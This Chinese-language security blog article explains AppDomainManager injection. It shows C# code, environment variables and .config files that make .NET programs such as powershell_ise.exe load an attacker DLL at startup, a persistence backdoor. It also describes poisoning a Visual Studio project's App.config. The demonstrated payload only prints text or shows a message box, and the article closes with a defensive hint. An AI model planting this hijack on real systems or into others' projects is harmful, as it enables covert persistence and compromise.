AppDomainManager後門的實現思路
0x00 前言
從Casey Smith@subTee學到的一個技巧:針對.Net程序,通過修改AppDomainManager能夠劫持.Net程序的啟動過程。
如果劫持了系統常見.Net程序如powershell.exe的啟動過程,向其添加payload,就能實現一種被動的後門觸發機制。學習鏈接:
http://subt0x10.blogspot.com/2017/06/attacking-clr-appdomainmanager-injection.html0x01 簡介
本文將要介紹以下內容:
劫持自己開發的.Net程序
劫持系統.Net程序powershell_ise.exe
一種針對Visual Studio的利用思路
0x02 相關概念
CLR:
全稱Common Language Runtime(公共語言運行庫),是一個可由多種編程語言使用的運行環境。
CLR是.NET Framework的主要執行引擎,作用之一是監視程序的運行:
在CLR監視之下運行的程序屬於「託管的」(managed)代碼
不在CLR之下、直接在裸機上運行的應用或者組件屬於「非託管的」(unmanaged)的代碼
對於在CLR監視之下的程序,程序啟動的初始化過程可參考如下鏈接:
http://mattwarren.org/2017/02/07/The-68-things-the-CLR-does-before-executing-a-single-line-of-your-code/值得注意的地方:
如果能從程序啟動的初始化過程中找到一個可供利用的位置,在程序啟動之前載入我們自己的代碼,那麼就可以「濫用」CLR的功能,實現對程序的劫持
更理想的情況下:
如果可被劫持的程序是一個系統常用程序,隨開機自啟動,那麼,這個方法就能作為一個持續性後門
下面介紹Casey Smith@subTee分享的後門思路:AppDomainManager
0x03 劫持自己開發的.Net程序
註:
代碼引用自:http://subt0x10.blogspot.com/2017/06/attacking-clr-appdomainmanager-injection.html
1、編寫示常式序
使用Visual Studio,選擇c#開發環境,新建控制台應用程序,工程名:program,代碼如下:
using System;nnpublic class Programn{n public static void Main()n {n Console.WriteLine("Inside the App");n }n}n
編譯生成program.exe
程序運行如下圖
2、編寫payload Dll
選擇c#開發環境,新建類庫,工程名:DomainManager,代碼如下:
using System;nnnamespace DomainManagern{n public class InjectedDomainManager : AppDomainManagern {n public override void InitializeNewDomain(AppDomainSetup appDomainInfo)n {n base.InitializeNewDomain(appDomainInfo);n Console.WriteLine("Blah From AppMgr");n }n }n}n
編譯生成DomainManager.dll
3、設置AppDomainManager劫持程序啟動
將DomainManager.dll放於同級目錄
方法1:
cmd設置環境變數:
set APPDOMAIN_MANAGER_ASM=DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=nullnnset APPDOMAIN_MANAGER_TYPE=DomainManager.InjectedDomainManagern
執行program.exe,通過查看回顯,發現DomainManager.dll先於program.exe執行
成功實現劫持,完整操作如下圖
註:
注意比較執行順序
通過cmd設置環境變數的方法只會作用於當前cmd,不夠通用
方法2:
更加通用的方法:配置config文件
新建program.exe.config,內容如下:
<?xml version="1.0" encoding="utf-8"?>n<configuration>n <startup>n <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>n </startup>n <runtime>n <appDomainManagerType value="DomainManager.InjectedDomainManager" />n <appDomainManagerAssemblyn value="DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />n </runtime>n</configuration>n
註:
config文件命名格式:exe+.config
成功實現劫持,完整操作如下圖
0x04 劫持系統.Net程序powershell_ise.exe
接下來,需要找到可供利用的系統.Net程序,嘗試實現持久性後門
這裡選取powershell_ise.exe作為演示
註:
powershell_ise.exe:全稱Windows PowerShell Integrated Scripting Environment(集成腳本環境)
圖形界面,主要用於編寫和調試powershell腳本
操作界面如下圖
為了便於演示,我們需要修改工程DomainManager,使其在運行時彈框
1、添加引用
工程-右鍵-添加引用,選擇System.Windows.Forms
如下圖
代碼修改如下:
using System;nusing System.Windows.Forms; nnamespace DomainManagern{n public class InjectedDomainManager : AppDomainManagern {n public override void InitializeNewDomain(AppDomainSetup appDomainInfo)n {n base.InitializeNewDomain(appDomainInfo);n Console.WriteLine("Blah From AppMgr");n MessageBox.Show("1");n }n }n}n
重新編譯生成DomainManager.dll
2、測試
劫持program.exe成功,如下圖
劫持powershell_ise.exe:
(1) 測試test目錄
將powershell_ise.exe複製到c:test
在同級目錄新建powershell_ise.exe.config,config文件可作適當精簡,精簡後的內容如下:
<?xml version="1.0"?>n<configuration>n <startup>n <supportedRuntime version="v4.0" />n </startup>n <runtime>n <appDomainManagerType value="DomainManager.InjectedDomainManager" />n <appDomainManagerAssembly value="DomainManager" />n </runtime>n</configuration>n
在c:test目錄下啟動powershell_ise.exe
成功劫持powershell_ise.exe
(2)測試powershell_ise.exe默認目錄
路徑如下:
C:WindowsSystem32WindowsPowerShellv1.0
需要管理員許可權,在默認目錄創建劫持文件DomainManager.dll和powershell_ise.exe.config
編譯任意powershell腳本,默認啟動powershell_ise.exe,成功劫持
完整操作如下圖
0x05 一種針對Visual Studio的利用思路
對於Visual Studio的c#工程,在工程目錄下默認存在文件App.config,內容如下:
<?xml version="1.0" encoding="utf-8" ?>n<configuration>n <startup> n <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />n </startup>n</configuration>n
如果對其修改,添加劫持功能,那麼在編譯程序時,也會同步修改bin目錄下默認生成的config文件
App.config修改如下:
<?xml version="1.0" encoding="utf-8" ?>n<configuration>n <startup> n <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />n </startup>n <runtime>n <appDomainManagerType value="DomainManager.InjectedDomainManager" />n <appDomainManagerAssembly value="DomainManager" />n </runtime>n</configuration>n
編譯程序,bin目錄下的config文件也被修改,如下圖
如果在bin目錄也放置DomainManager.dll,那麼在程序啟動時會被劫持,如下圖
0x06 小結
本文介紹了一種通過修改AppDomainManager實現的被動後門觸發機制,分析了利用思路,站在防禦者的角度,只需要留意.Net程序同級目錄下的config文件就好。
本文為3gstudent原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如若轉載,請聯繫嘶吼編輯: AppDomainManager後門的實現思路 - 嘶吼 RoarTalk 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※乾貨 | PowerShell技巧——藉助kd.exe隱藏進程
※PowerShell指令為什麼都要採用 Verb-XXXX 的格式?
※作為日常使用的腳本,PowerShell Core 與 Python 各有哪些優劣?
※PowerShell 與 cmd 有什麼不同?
TAG:PowerShell | 信息安全 |